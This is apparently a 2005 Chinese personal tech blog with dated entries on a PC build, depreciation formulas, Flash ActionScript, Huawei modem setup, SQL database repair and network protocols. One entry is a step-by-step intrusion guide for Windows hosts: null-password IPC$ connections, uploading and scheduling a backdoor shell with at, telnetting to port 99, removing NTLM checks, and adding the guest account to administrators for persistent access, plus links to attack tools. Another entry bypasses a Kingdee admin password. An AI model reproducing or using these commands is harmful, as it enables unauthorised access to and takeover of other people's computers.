2005年10月05日


                     
CPU                P4 531(盒)3.0GHz        1550
主板                青云PX915P PRO                749
显卡                XFX6600GT                1180
内存                金士顿DDR400 512M×2        720
硬盘                希捷160G SATA                670
光驱                明基DW1640                390
机箱电源        金河田飓风8185B+磐石400        360
显示器                飞利浦107S6                940
鼠标键盘        罗技光电高手Ⅱ                160
音响/耳机        漫步者E3100                260
合计                                        6979
简评:Intel 531处理器为3.0GHz的主频,支持64位指令,配合915P及6600GT显卡可以发挥出其超强的处理能力,这个配置足可以抗衡AMD的939平台的挑战了,虽然发热量大,但是只要做好散热,选择38度机箱(金河田8185B为38度机箱),也是没什么问题的。

2005年10月04日

一、动态的含义
1、不管是动态双余额递减法还是动态平均法,动态的意思,都是以发生变动业务后的期末数据,作为下一期开始的计算基数的。
2、在在动态折旧方法下,发生变动后,需要考虑以下要素:
调整后原值=变动后的原值=原值+调增-调减
调整后累计折旧=变动后的累计计提折旧
调整后剩余使用期间=调整后的预计使用期间-调整后的已使用期间
调整后预计净残率=调整后的预计净残值
调整后减值准备
3、不管发生任何影响到折旧计提要素的变动,都是要在下期才能生效的。

二、动态双倍余额递减法的计算方法:
1、双倍余额计算公式:
年折旧率=2/预计使用年限*100%
月折旧额=账面净值*年折旧率/12
最后2年 月折旧额=(账面净值-入账预计净残值)/2/12
2、双倍余额递减法,是以年为单位进行计算的。也就是说,在一年中,各月计提的折旧金额是相等的,但每年的折旧金额是不等的。
3、账套净值=原值-已计提折旧金额
4、因此在动态双倍余额递减法计算规则下,第一年各月应该计提200,第二年各月应该计提120。
5、一般地,以年为单位进行计算的折旧方法(如年数总和法、双倍余额递减法等)一般都不建议在不满一年的情况下进行变动,除非变动了折旧方法或特别需要。
6、动态双倍余额递减法,还需要考虑,是否对追加的价值进行追溯调整!

三、动态平均法:
1、计算公式:
月折旧额=(调整后原值-调整后累计折旧-调整后净残值-调整后减值准备)/调整后剩余使用期间
月折旧率=月折旧额/(调整后原值-调整后累计折旧-调整后减值准备)
2、在用户于18期发生变动后,如果没有调整已使用期间,在净残值=0的情况下(因为楼上没有说明预计净值),从第19期开始,月计提折旧应该=
月折旧额=(调整后原值-调整后累计折旧-调整后净残值-调整后减值准备)/调整后剩余使用期间=(9000-(200*12+120*6))/(72-18)=5880/54=108.88889

以上信息,供参考,并请据此原理进行实际推算。
其中具体的折旧方法需要考虑的计算定义,请参考软件提供的折旧方法里面的定义。

2005年10月03日

大家都知道,忘了帐套管理的密码要删除在%systemroot%\system32\kdcom文件夹中的AcctCtl.dat(2K与XP下).在删除AcctCtl.dat前先备份。然后按以下步骤来做:

1、按CTRL+ALT+DEL键先把“KDSVRMGR”进程结束。
2、确定了备份AcctCtl.dat文件后删除它。
3、进入帐套管理,你会发现可以不用输入密码即可进入,但是此时的帐套管理界面中组织机构中没有记录,是空的,就像第一次打开“帐套管理”一样,所有的注册信息都丢失了。此时你不用担心,也不要退出帐套管理,这点最重要。
4、把原来备份的AcctCtl.dat复制到%systemroot%\system32\kdcom文件夹中,把它原来的覆盖了。
5、这时候就真正开始了,在帐套管理中,进入“系统”菜单的“系统用户管理”。
6、此时,你可以修改ADMIN的密码,或是创建一个新的系统用户了。
然后退出,再进入帐套管理,你就会发现,一切都回来了。

2005年09月27日
制作思路
  1. 图片缩放控制
    利用缓冲公式设置图片的缩放比例,如果鼠标滑过某图片,放大1.8倍。如果其它图片的序号与此图片的序号相差1,就是此图片两边的图片,放大1.4倍,其它的为原始大小。
  2. 图片坐标控制
    当某图片放大时,相邻的图片的坐标等于此图片的坐标加上这两张图片的宽度的一半,实现图片无间距排列。
  3. 线条和文字控制
    线条用画线函数实现,文字的坐标和缩放比例与对应的图片相同。
制作过程
1、启动Flash,新建一个影片,设置影片大小为600px*200px。
准备好如图中的素材,图片的实例名分别为zjs0到zjs4,文字的实例名分别为z0到z4。
把中间的图片坐标设为(300,130),选中全部的图片,按CTRL+K调出排列面板,设置为顶部对齐,使图片的y坐标相同,图片的x坐标通过AS来控制。用同样的方法使方字的y坐标相同,并调整好文字和图片的间距。
2、在主场景中的第一帧上加上下列代码
代码拷贝框

var myx = this["zjs"+2]._x;
//获取中间图片的x坐标
for (var i = 0; i<5; i++) {
 this["zjs"+i].n = i;
 //每个图片MC下定义一个变量
 this["zjs"+i].onRollOver = function() {
  control = true;
  //鼠标滑过图片时为真
 };
 this["zjs"+i].onRollOut = function() {
  control = false;
  //鼠标移出图片时为假
 };
}
onEnterFrame = function () {
 for (var k = 0; k<5; k++) {
  this["z"+k]._x = this["zjs"+k]._x;
  // 说明文字的x坐标等于本应图片的x坐标
  this["z"+k]._xscale = this["zjs"+k]._xscale;
  this["z"+k]._yscale = this["zjs"+k]._yscale;
  // 说明文字的缩放比例与图片相同
 }
 if (control) {
  mouse_in();
 } else {
  mouse_out();
 }
 // 条件真或假时调用函数
};
//坐标设置函数
function setX() {
 for (var k = -2; k<3; k++) {
  this["zjs"+(k+2)]._x = myx+this["zjs"+2]._width*k;
  //以中间图片为准无间距排列
 }
 for (var k = Number(temp1)+1; k<5; k++) {
  //temp1为缩放比例最大的图片下的变量值
  var mc1 = this["zjs"+k];
  var mc2 = this["zjs"+(k-1)];
  //此图片右边的其它图片
  mc1._x = mc2._x+(mc2._width+mc1._width)/2-1;
  //设置这些图片的x坐标,1为消除图片间的空隙
 }
 for (var k = Number(temp1)-1; k>-1; k–) {
  var mc1 = this["zjs"+k];
  var mc2 = this["zjs"+(k+1)];
  mc1._x = mc2._x-(mc2._width+mc1._width)/2+1;
 }
 //缩放比例最大的图片的左边的图片的x坐标设置
 myLine();
 //图片下方的线条
}
//比例缩放函数
function move_scale(x, obj) {
 speed = (x-obj._xscale)*.65+speed*0.6;
 obj._xscale += speed;
 obj._yscale += speed;
 //缓冲公式,x为图片的缩放比例,obj为MC
}
//鼠标滑过图片时,图片的缩放、x坐标设置函数
function mouse_in() {
 for (var i = 0; i<5; i++) {
  var mc = this["zjs"+i];
  //获得实例名
  if (mc.hitTest(_xmouse, _ymouse, true)) {
   move_scale(180, mc);
   //如果鼠标位于图片的上方,图片放大1.8倍
   temp1 = mc.n;
   //把此图片下的变量赋给变量temp1
  } else if (Math.abs(mc.n-temp1) == 1) {
   move_scale(140, mc);
   //两侧的图片比例放大1.4倍
  } else {
   move_scale(100, mc);
   //其它的图片为原始大小
  }
 }
 setX();
 //设置图片的x坐标
}
//鼠标移出图片时,图片的缩放、x坐标设置函数
function mouse_out() {
 for (var i = 0; i<5; i++) {
  move_scale(100, this["zjs"+i]);
  //缩放比例为1,恢复原始大小
 }
 setX();
 //坐标复原
}
//线条函数
function myLine() {
 createEmptyMovieClip("line", 1);
 //创建一个空影片
 with (line) {
  lineStyle(0.1, 0xff9933, 100);
  moveTo(zjs0._x-zjs0._width/2, zjs0._y+10);
  lineTo(zjs4._x+zjs4._width/2, zjs4._y+10);
  //图片下方水平的直线
  moveTo(zjs0._x-zjs0._width/2, zjs0._y+5);
  lineTo(zjs0._x-zjs0._width/2, zjs0._y+15);
  //右边垂直的直线
  moveTo(zjs4._x+zjs4._width/2, zjs4._y+5);
  lineTo(zjs4._x+zjs4._width/2, zjs4._y+15);
  //左边垂直的直线
 }
}

按CTRL+ENTER测试,本例制作完成。掌握原理后,加上好的创意,相信你能做出更好的特效。

2005年09月26日

华为 SmartAX MT800设置路由方式教程



问题一:登陆信息
设置前要先把你PC的IP改为192.168.1.XXX(比如:192.168.1.5),IP一般为192.168.1.1;用户名/密码:admin/admin(或者admin/epicrouter)。

问题二:登陆后的设置界面
华为MT800有几种软件版本,我写的教程只是其中一种,如果大家的版本(设置界面)不同,请先在《华为产品系列》找我发的《华为MT800全系列说明书》下载(要用acrobat 5.0以上版本才能打开),然后参考这篇教程设置。

问题三:ADSL是否支持路由/自动拨号功能
先看对应版本的说明书,如果说明书上有,那就有;如果没有提到,那就很可能不支持了。
特别说明:本人不建议没有路由功能的ADSL通过刷固件的方式升级,毕竟太危险了,真要是刷新失败,那你就只能等你的ISP(网络服务提供商)来帮你换ADSL了。(要先想想等多久你才能上网)

问题四:ADSL猫掉线
华为的ADSL确实存在掉线问题(当时是到朋友那里探亲而已,目前原因我还没有查清楚,可能是散热及芯片问题),至少我帮朋友做路由功能后的ADSL存在(每天早上第一次用)。解决的方法是第一次开ADSL后关闭它再重新加电就不会掉线了。

问题五:关于VPI/VCI值
每个城市ISP都有自己的VPI/VCI值,一般为0/35或8/35,如果试了不行,那你只能去网上查自己所在城市的VPI/VCI值,或者打电话问你的ISP。

问题六:组网连接问题
如果你想多台PC通过交换机上网,请你用直接线将ADSL接到交换机上;ADSL标配的原装线是交叉线,那条线只能用于ADSL和PC的直接连接。

问题七:关于猫的型号问题
论坛帖子里提到软件版本指的是进入猫的WEB设置页之后,首页有一项就是:软件版本,后面跟有一系列字符串。规范的说,猫的型号就是MT800。当然,大家叫通俗了,就把软件版本叫成型号了:)
2005年09月23日

金额调整单用于期初仓存金额调整和人为的日常金额调整,比如出库核算异常余额调整、手工新增的金额调整单等,而补差单则是由系统在进行外购入库核算和委外加工入库核算时系统自动生成的,主要是用来根据发票金额与入库单金额的差额调整物流系统的存货余额的,其中外购入库核算生成的叫外购入库暂估补差单、委外加工入库核算生成的叫委外加工暂估补差单,金额调整单可以到核算系统“期初调整”模块的“金额调整单”中查询,而补差单只能到核算系统“出库核算”模块的“核算单据查询”中查询!对于金额调整单系统是提供凭证模板用于其财务处理的,而补差单则是系统根据它与发票、入库单的勾稽关系在生成入库凭证时一并生成的!

2005年09月21日

首先给大家说说IPC$大家应该知道的内容吧
&sup2;       IPC$的定义(大家应该都知道吧。)
&sup2;        在MS-DOS下敲入 net share 查看本机的共享资源
&sup2;        几个基本的DOS命令 dir(列出当前路径下文件)  cd(进入指定命令)  cls(清屏)  netstat –n(查看本机网络连接状态)  nbstat -a IP(查看指定IP主机的netbios 信息)
net user (系统帐号类操作)   netlocalgroup(系统组操作)   net user(远程连接)   net send(信使命令)  net time (查看远程主机系统时间)
                        
好了现在来跟我一起建立IPC$主机连接
l        在“开始”-运行-“CMD”
下面开始经典的模式
l        1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
l        这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
l          
l        2. C:\>copy srv.exe \\127.0.0.1\admin$
l        先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
l          
l        3. C:\>net time \\127.0.0.1
l        查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成
l        4. C:\>at \\127.0.0.1 11:05 srv.exe
l        用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)
l          
l        5. C:\>net time \\127.0.0.1
l        再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。
                    6C:\>copy ntlm.exe \\127.0.0.1\admin$
l        用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
                     7. C:\>telnet 127.0.0.1 99
l        这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
l        虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
l        8. C:\WINNT\system32>ntlm
l        输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!
l       
l        9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)
l       
l        为了以防万一,我们再把guest激活加到管理组
l        10. C:\>net user guest /active:yes
l        将对方的Guest用户激活
l       
l        11. C:\>net user guest 1234
l        将Guest的密码改为1234,或者你要设定的密码
l       
l        12. C:\>net localgroup administrators guest /add
l        将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)
                 现在再来讲讲Telent 入侵方面的知识吧A  Telnet 的作用 1)控制主机的第一手段
             2)用来做跳板
B  NTML验证:所谓NTLM是一种“身份验证机制”,主要是用于Windows NT 4.0的,需要使用“消息队列”工具来制作证书。
C  去除的NTML验证工具(有手工的方法,比较麻烦所以算了!)
   Opentelnt   http://www.4567.cn/article/Soft/Class25/Class81/200408/1169.asp
Opentelnet.exe的用法:
OpenTelnet.exe \\server <帐号> <密码> <NTLM认证方式> <Telnet端口>
比如下面的:
C:\>OpenTelnet.exe \\192.168.1.2 administrator 123456 1 99
再来讲讲Telnet 的高级入侵吧
从上面的内容可以知道,即使计算机使用了NTML验证入侵者还是可以轻松的去除NTML验证来实现Telent入侵,如果入侵者使用23号端口来入侵,那么管理者可以轻松的发现他们,但是如果我们不会通过默认的23号端口来入侵,那么我们是如何来修改Telnet  端口,又如何来修改Telnet服务来隐蔽行踪呢!
X-scan   http://download.chinaitlab.com/soft/7021.htm
用来扫描弱口令
采用多线程方式对指定IP地址段(或单机)进行安全漏洞检测,支持插件功能,提供了图形界面和命令行两种操作方式,扫描内容包括:远程服务类型、操作系统类型及版本,各种弱口令漏洞、后门、应用服务漏洞、网络设备漏洞、拒绝服务漏洞等二十几个大类
Opentelent 已经介绍了
APROMan  http://www.jk520.com/SoftView/Soft_3079.htm
用来查杀进程
AProMan v1.2 – Process Manager  
一个2000/XP下基于命令行的进程工具,可查看进程,端口进程关联关系,kill指定进程,还可以把进程和模块列表导出到文本文件中。
c:\AProMan.exe -a 显示所有进程
c:\AProMan.exe -p : 显示端口进程关联关系 (需Administrator权限)
c:\AProMan.exe -t [PID] : 杀掉指定进程号的进程
c:\AProMan.exe -f [FileName] : 把进程及模块信息存入文件
Instsrv   http://hackbase.com/down/43/20040917/5106.htm
命令格式如下: 用来给主机安装服务
   instsrv  服务名  程序路径
服务名:就是在『服务』里面显示的名称!!
程序路径:就是我们要创建的服务的绝对路径!!!这里要加上后缀名哈!不然会出错哦
注意:创建服务后,我们要马上运行的话,就要用:
net start 服务名(这个没有什么说的)
来启动服务!!不然该服务会在系统下一次启动时,启动!!

账套属性中设置的SQL访问用户,与SQL安装的不一致;或密码不一致。
因此不允许访问数据。 (注:修改后要重新注册账套)

2005年09月13日

———执行一般性修复还存在问题时,进行允许数据丢失的修复
———允许数据丢失的修复要求在单用户下进行,此时请退出中间层,客户端,sql的–其他模块
—所有功能退出,在查询分析器master里设置数据库为单用户
–如何将数据置为单用户
–进入企业管理器,选择数据库–属性–选项–设为单用户状态。
–查询t系统数据库使用状态
sp_who
–将需要修复的数据库在使用的信息清(以dbname对应的spid值为标志)除掉,如
kill 53
–必须保证在执行修复前将数据库置于未被使用的状态
–然后选择以下的全部后,执行,数据库应该已经可以使用。

declare @databasename varchar(255)
set @databasename=”AIS20021224170730”——一定要在此手工输入你的张套实体名
exec sp_dboption @databasename, N’’single”, N”true” –将目标数据库置为单用户状态
dbcc checkdb(@databasename,REPAIR_ALLOW_DATA_LOSS)
dbcc checkdb(@databasename,REPAIR_REBUILD)
exec sp_dboption @databasename, N’’single”, N”false”

—-

2005年08月23日
要讲网络协议,首先就地提到是开放系统互联参考模型(OSI Referenec Model),即我们通常所说的网络互联的七层框架,它是国际标准组织(International Organization for Standization)于1977年提出的标准,又称为ISO/IEC 7498或X.200建议。值得注意的是,OSI并没有提供一个可以实现的方法,它不是一个标准而只是一个制定标准时使用的概念性的框架,更不是一个网络协议。

  OSI分为七层,其名字和功能分别如下:

1、物理层(Physical Layer):主要功能为定义了网络的物理结构,传输的电磁标准,Bit流的编码及网络的时间原则,如分时复用及分频复用。决定了网络连接类型(端到端或多端连接)及物理拓扑结构。说的通俗一些,这一层主要负责实际的信号传输。

2、据链路层(Data Link Review):在两个主机上建立数据链路连接,向物理层传输数据信号,并对信号进行处理使之无差错并合理的传输。

3、网络层(Network Layer):主要负责路由,选择合适的路径,进行阻塞控制等功能。

4、传输层(Transfer Layer):最关键的一层,向拥护提供可靠的端到端(End-to-End)服务,它屏蔽了下层的数据通信细节,让用户及应用程序不需要考虑实际的通信方法。

5、会话层(Session Layer):主要负责两个会话进程之间的通信,即两个会话层实体之间的信息交换,管理数据的交换。

6、表示层(Presentation Layer):处理通信信号的表示方法,进行不同的格式之间的翻译,并负责数据的加密解密,数据的压缩与恢复。

7、应用层(Application Layer):保持应用程序之间建立连接所需要的数据记录,为用户服务。
在工作中,每一层会给上一层传输来的数据加上一个信息头(header),然后向下层发出,然后通过物理介质传输到对方主机,对方主机每一层再对数据进行处理,把信息头取掉,最后还原成实际的数据。本质上,主机的通信是层与层之间的通信,而在物理上是从上向下最后通过物理信道到对方主机再从下向上传输。

  在实际应用中,最重要的是TCP/IP(Transport Control Protocol/Internet Protocol)协议,它是目前最流行的商业化的协议,相对于OSI,它是当前的工业标准或“事实的标准”,在1974年由Kahn提出的。它分为四个层次:应用层(与OSI的应用层对应),传输层(与OSI的传输层对应),互联层(与OSI的网络层对应),主机-网络层(与OSI的数据链路层和物理层对应)。TCP/IP协议主要用于广域网,在一些局域网中也有应用,比如在windows 9x和netware网中可以使用,但是在功能和速度方面还有差距,本来TCP/IP的设计目标就和IPX/SPX不一样。在设置TCP/IP协议的时候,主要有ip地址和子网掩码,网关(Gateway:在通信中提供网络协议之间的转换,适用于不同协议主机之间的信息交换),域名解析服务器(NDS: Domain Name System,即把你输入的网址转换为数字型的ip地址)和NetBIOS等等。

  上面说到了IPX/SPX(Internetwork Packet Exchange/Sequenced Packet exchange)协议,现在解释一下这种应用很广的网络协议。您一定在局域网里享受过快速的网络游戏吧,您可知道,这都是IPX/SPX的功劳。IPX/SPX是基于施乐的XEROX’S Network System(XNS)协议,而SPX是基于施乐的XEROX’S SPP(Sequenced Packet Protocol:顺序包协议)协议,它们都是由novell公司开发出来应用于局域网的一种高速协议。它和TCP/IP的一个显著不同就是它不使用ip地址,而是使用网卡的物理地址即(MAC)地址。它也和TCP/IP协议一样不能和OSI完全对应。只包含了OSI中传输层和网络层的部分。在实际使用中,它基本不需要什么设置,装上就可以使用了。由于其在网络普及初期发挥了巨大的作用,所以得到了很多厂商的支持,包括microsoft(但是后来它开发出来了自己的兼容Novell’IPX/SPX的IPX/SPX协议)等,到现在很多软件和硬件也均支持这种协议。

  相对于前面两种路由协议(路由,可以理解为在网络上两点间路径的选择)在日常应用中,还有两种非路由协议需要我们了解,它们是:NetBIOS(Network Basic Input/OutputSystem)和NetBEUI(NetBIOS Extended User Interface)。NetBIOS由microsoft和IBM开发,是会话层的协议,它建立允许不同计算机上的应用程序通过网络传输的连接会话。它是为只需要与别的在同一个网络上的计算机会话这一目的话设计的。在win9x&me中,当你在IPX/SPX中选定“希望在IPX/SPX启用NetBIOS”后,在TCP/IP的设置中可以选定“通过TCP/IP启用NetBIOS”。而NetBEUI则是IBM为自己作为网络传输站的网络产品设计的。它是NetBIOS的一个扩充版本,定义了没有被NetBIOS定义的祯类型,它能在中小规模的单网上传输数据。它可以在win9x&me中直接安装。在一些网络游戏中有可能需要这两种协议,如果你遇到不能玩的情况,可以试试装上它两,说不定能解你的燃眉之急。

  以上介绍了目前应用最广的网络协议,其余的当然还有很多别的协议,比如DNA,SNA,APPLETALK等等,它们也很复杂。但是对于入门的网友来说,掌握了以上几种协议可以让您初步了解什么是网络协议和其工作原理,让您的工作更加高效,为以后深入学习打好了基础。希望我的文章能起到抛砖引玉的作用,对大家有所帮助。,对大家有所帮助。